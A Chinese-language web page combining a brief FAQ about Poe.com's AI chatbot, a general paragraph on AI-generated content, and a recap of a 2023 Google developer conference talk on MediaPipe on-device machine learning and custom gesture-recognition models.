Q: Poe.com 的 AI 聊天机器人是如何工作的? A: Poe.com 的 AI 聊天机器人是基于深度学习和自然语言处理技术开发的智能对话系统,能够理解并回应用户输入的文本或语音信息。Poe.com 的 AI 聊天机器人也能够根据不同话题、场景、语言和风格进行切换,并根据用户反馈进行优化。 Q: Poe.com 的数据安全性如何? A: Poe.com 尊重并保护用户隐私和数据安全,在收集、存储、使用、分享或删除用户数据时都遵循相关法律法规,并采取了合理有效的安全措施来防止数据泄露。 AIGC是人工智能领域中的一种创新技术,其基本原理是利用人工智能技术中的“自然语言处理”、“机器学习”、“深度学习”等技术,对大量的语言数据进行深入分析、学习和模拟,从而实现对自然语言的理解和生成。简单来说,AIGC可以自动生成自然语言文本,包括文章、句子、评论等。
AIGC的出现具有重要的意义,它不仅可以提高人们的工作效率,还可以促进跨语言、跨文化交流。AIGC可以自动生成多种语言的文本,这有助于解决不同语言之间的交流障碍。另外,AIGC也可以用于智能客服、智能问答、智能推荐等应用场景中,提高用户体验和服务质量。
大会介绍 Google 开发者大会是 Google 面向开发者和科技爱好者展示最新产品和平台的年度盛会。2023 Google 开发者大会 (Google I/O Connect | China) 为开发者提供丰富的学习资源,实践操作和现场演示,提供与谷歌专家互动、与其他开发者交流的契机,助力开发提效,释放团队创造力,简化工作流程,以开放式集成解决方案为开发者效力,共同构建创新生态,开启美好未来。 使用 MediaPipe 轻松实现设备端机器学习 Media Pipe 和设备端机器学习 Media Pipe这是一个用于构建和部署跨平台设备端机器学习解决方案的低代码/无代码框架。它可以将将机器学习集成到你的移动端、Web和物联网应用程序中。
设备端机器学习是机器学习的一种,它可以在用户设备端运行,例如智能手机或网络浏览器,而无需将用户数据发送到服务器处理。 Media Pipe解决手势识别问题 它将图像作为输入并返回图像中找到的手势,如:竖起大拇指。这项任务实际上需要将四种不同的机器学习模型连接在一起:
①从图像中检查手②检测手部关键点③创建手势的嵌入向量④将这个嵌入式归类为竖起大拇指 除此之外还能实现很多其他的事情。如:如何在GPU上高效运行整个流程或者不熟在不同的平台上。
但是MediaPipe将这些复杂的工作进行抽象,提供了一个流水线可以为你将模型连接在一起,因此咱们无需费心协调所有这些模型,只需要简单的API交互。
MediaPipe目前支持哪些平台 目前支持Android、Web和Python,很快也会推出IOS支持。
MediaPipe Studio MediaPipe Studio是一款Web应用程序,可以直接在浏览器中尝试MediaPipe的所有设备端机器学习解决方案,对于手势识别,正在添加双手手势支持,即将落地。MediaPipe Studio还提供了除了手势识别,还有其他有关于机器学习相关的解决方案,如:图像分割、面部识别、文本和音视频解决方案等等。
定制解决方案以适用自己的用例 可以使用MediaPipe Model Maker解决这一问题,MediaPipe Model MakerI从构建之初就旨在成为一个用于定制MediaPipe提供的解决方案的本地库。
以解决手势识别问题为例,步骤如下:
收集一个 用手作出石头布和剪刀三种手势的训练数据集获得数据集后就可以开始使用Model Maker训练自定义模型来识别这些手势使用Google Colab的免费GPU更快地训练模型首先你需要导入手势识别器模块然后加载石头剪刀布数据集并开始训练自定义模型可以用模型在训练过程中没有看过的测试数据集来检查模型的准确性最后你可以使用MediaPipe Tasks将其导出以部署在设备上 MediaPipe Studio使我们能在Web浏览器中尝试这些解决方案,以便获得关于将设备端机器学习
集成到应用程序中的灵感,其中许多解决方案都可以使用自己的数据集进行定制 。
AI模型领域的发展 其一是目前发现一种称为模型蒸馏的技术可以用来,将这些通用的大型模型提炼为可以在设备上运行,并专处理一定数量任务的较小模型,推出对图像中的面孔,进行风格化的实验性设备端解决方案,例如你可以使用它将你的照片转换为卡通风格。 其二是正在试验的另一个生成式Al模型,是基于扩散的图像生成模型,MediaPipe为我们提供现成的设备端机器学习解决方案,可以将其轻松集成到你的移动或网络应用,在部分的Android手机上已实现在几秒钟内从文本提示生成图像。其三是已能在Android 上部署大语言模型,让它帮助你用自然语言完成一些任务,例如总结一次长对话,或根据给定主题撰写正式电子邮件,虽然设备端生成式Al还处于早期阶段,但在不久的将来会越来越好。 小结 2023 Google 开发者大会给我们展示了许多的技术,Media Pipe将机器学习复杂的工作进行抽象,提供了一个流水线可以帮你将模型连接在一起,开发者可利用该产品套件轻松地将设备端机器学习解决方案集成到不同平台(Android、Web、桌面等)的应用中,同时AI模型已经可以初步部署在Android 上,越来越多的AI模型可以在日常生活中帮助到我们。我们还可以使用自己的训练数据集轻松自定义部分解决方案,只需几行代码即可,在可以在未来我们或许会实现“零代码”!
对MediaPipe、机器学习或者其他开发工具感兴趣的小伙伴,可以前往CSDN专题页,观看 2023 Google 开发者大会主旨演讲和专题演讲的回放视频,了解更多科技新知、前沿案例。CSDN